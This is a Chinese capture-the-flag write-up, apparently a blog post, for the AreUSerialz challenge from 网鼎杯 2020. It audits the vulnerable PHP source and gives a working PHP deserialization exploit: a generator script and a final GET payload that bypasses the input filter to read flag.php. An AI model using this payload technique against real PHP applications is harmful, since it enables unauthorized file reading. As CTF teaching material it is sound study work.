8.[网鼎杯 2020 青龙组]AreUSerialz

进入题目页面如下

直接给出源码,进行代码审计

<?php
// 引入 flag.php 文件,该文件可能包含敏感信息,如 flag
include("flag.php");

// 高亮显示当前 PHP 文件(即包含此代码的文件)的源代码,方便调试或展示代码结构
highlight_file(__FILE__);

// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {
    // 定义受保护的属性 $op,用于表示操作类型(如 1 表示写操作,2 表示读操作)
    protected $op;
    // 定义受保护的属性 $filename,用于存储要操作的文件名
    protected $filename;
    // 定义受保护的属性 $content,用于存储要写入文件的内容
    protected $content;

    // 类的构造函数,在创建对象时自动调用
    function __construct() {
        // 初始化操作类型为 "1",表示写操作
        $op = "1";
        // 初始化文件名
        $filename = "/tmp/tmpfile";
        // 初始化要写入文件的内容
        $content = "Hello World!";
        // 调用 process 方法处理操作
        $this->process();
    }

    // 公共方法,根据 $op 的值选择执行写操作或读操作
    public function process() {
        if($this->op == "1") {
            // 如果 $op 为 "1",调用 write 方法进行写操作
            $this->write();
        } else if($this->op == "2") {
            // 如果 $op 为 "2",调用 read 方法进行读操作,并将结果传递给 output 方法输出
            $res = $this->read();
            $this->output($res);
        } else {
            // 如果 $op 不是 "1" 或 "2",输出错误信息
            $this->output("Bad Hacker!");
        }
    }

    // 私有方法,用于将 $content 写入 $filename 文件
    private function write() {
        // 检查 $filename 和 $content 是否都已设置
        if(isset($this->filename) && isset($this->content)) {
            // 检查 $content 的长度是否超过 100 个字符
            if(strlen((string)$this->content) > 100) {
                // 如果超过 100 个字符,输出错误信息并终止脚本
                $this->output("Too long!");
                die();
            }
            // 将 $content 写入 $filename 文件,并返回写入的字节数
            $res = file_put_contents($this->filename, $this->content);
            if($res) {
                // 如果写入成功,输出成功信息
                $this->output("Successful!");
            } else {
                // 如果写入失败,输出失败信息
                $this->output("Failed!");
            }
        } else {
            // 如果 $filename 或 $content 未设置,输出失败信息
            $this->output("Failed!");
        }
    }

    // 私有方法,用于读取 $filename 文件的内容
    private function read() {
        $res = "";
        // 检查 $filename 是否已设置
        if(isset($this->filename)) {
            // 读取 $filename 文件的内容
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    // 私有方法,用于输出结果
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    // 类的析构函数,在对象被销毁时自动调用
    function __destruct() {
        // 如果 $op 严格等于 "2",将 $op 改为 "1"
        if($this->op === "2")
            $this->op = "1";
        // 清空 $content
        $this->content = "";
        // 再次调用 process 方法处理操作
        $this->process();
    }
}

// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        // 检查每个字符的 ASCII 码是否在 32 到 125 之间
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 检查是否通过 GET 请求传递了名为 str 的参数
if(isset($_GET{'str'})) {
    // 将传递的 str 参数转换为字符串
    $str = (string)$_GET['str'];
    // 调用 is_valid 函数验证字符串是否合法
    if(is_valid($str)) {
        // 如果字符串合法,对其进行反序列化操作
        $obj = unserialize($str);
    }
}

代码审计

反序列化漏洞风险

代码中使用了 unserialize 函数对用户通过 GET 请求传递的 str 参数进行反序列化操作。反序列化操作本身存在安全风险,如果攻击者构造恶意的序列化字符串,可能会触发对象的魔术方法(如 __destruct),从而执行任意代码或进行其他恶意操作。

输入验证问题

虽然代码中使用了 is_valid 函数对输入的字符串进行验证,要求字符串只包含 ASCII 码在 32 到 125 之间的字符,但这并不能完全防止反序列化漏洞。攻击者仍然可以构造符合该验证规则的恶意序列化字符串。

文件操作风险

FileHandler 类中的 write 和 read 方法涉及文件操作,filename 属性可由攻击者通过反序列化操作控制。攻击者可能会利用这一点读取或写入系统中的敏感文件,如 flag.php

利用思路

可以构造一个 FileHandler 对象的序列化字符串,将 filename 属性设置为 flag.php,并将 op 属性设置为 2,然后通过 GET 请求传递该序列化字符串。当代码对其进行反序列化时,会触发 __destruct 方法,在 __destruct 方法中会将 op 改为 1,但由于 __destruct 方法最后会再次调用 process 方法,仍然可以利用这个过程来读取 flag.php 文件的内容。

利用反序列化漏洞来构造恶意的序列化字符串

构造对象:创建一个 FileHandler 类的对象,并将 filename 属性设置为 flag.phpop 属性设置为 2,这样在调用 process 方法时会执行读取文件的操作。

序列化对象:将构造好的对象进行序列化,得到序列化字符串。

绕过验证:确保序列化字符串符合 is_valid 函数的验证规则,即只包含 ASCII 码在 32 到 125 之间的字符。

传递序列化字符串:通过 GET 请求将序列化字符串传递给目标 PHP 脚本。

看了这位大佬的博客,才恍然大悟,附上链接

BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 1 (两种解法 超详细!)-优快云博客

脚本

<?php
// 定义 FileHandler 类
class FileHandler {
    protected $op = 2;
    protected $filename = 'flag.php';
    protected $content;
}

// 封装整个处理逻辑的函数
function generateFinalString() {
    // 实例化 FileHandler 类并序列化
    $serialized = serialize(new FileHandler);
    // 对序列化结果进行 URL 编码
    $bai = urlencode($serialized);
    // 替换 %00 为 \\00
    $mao = str_replace('%00', "\\00", $bai);
    // 替换 s 为 S
    $mao = str_replace('s', 'S', $mao);
    return $mao;
}

// 调用函数并输出结果
$result = generateFinalString();
echo $result;
?>

可以使用这个在线工具运行PHP代码

php在线运行,在线工具,在线编译IDE_w3cschool

结果

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

payload

?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

URL传参,ctrl+u查看,最终获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值